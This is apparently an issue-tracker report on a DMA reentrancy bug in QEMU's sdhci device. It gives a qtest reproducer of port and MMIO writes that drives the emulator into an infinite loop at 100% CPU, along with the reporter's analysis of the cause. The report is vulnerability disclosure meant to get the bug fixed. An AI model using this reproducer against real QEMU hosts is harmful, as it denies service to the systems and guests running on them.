Skip to content

sdhci: DMA reentrancy issue leads to an infinite loop

Description of problem

When sdhci transfers multiple blocks, it doesnot check if the dma-write buffer pointer overlaps with its MMIO region, crafted content can cause DoS because of infinite loop and CPU consumption.

Reproducer

cat << EOF | ./qemu-system-x86_64 -machine accel=qtest -nodefaults \
-drive if=none,index=0,file=null-co://,format=raw,id=mydrive \
-device sdhci-pci -device sd-card,drive=mydrive \
-nographic -qtest stdio 
outl 0xcf8 0x80001004         
outl 0xcfc 0x107               
outl 0xcf8 0x80001010         
outl 0xcfc 0xfebf1000         
writel 0xfebf102c 0x1000007
writel 0xfebf1004 0x10200
writel 0xfebf1008 0
writel 0xfebf100c 0xc000000
writel 0xfebf100c 0x18000022
writel 0xfebf1000 0x2fffffff
writel 0xfebf1004 0x20008
writel 0xfebf100c 0x11000032
writel 0xfebf1000 0xfebf100c
EOF

Crash Detail

The QEMU process and guest os are not responding and unable to process any requests and no response. The CPU usage reaches 100%, and I can only use kill -9 [qemu-system-x86_64 pid] from host to kill it.

Analysis

In sdhci_sdma_transfer_multi_blocks function, use dma_memory_write to reentry and make s- > trnmod & SDHC_TRNS_BLK_CNT_EN = false. Then , the QEMU process gets stuck in an infinite loop.

To upload designs, you'll need to enable LFS and have an admin enable hashed storage. More information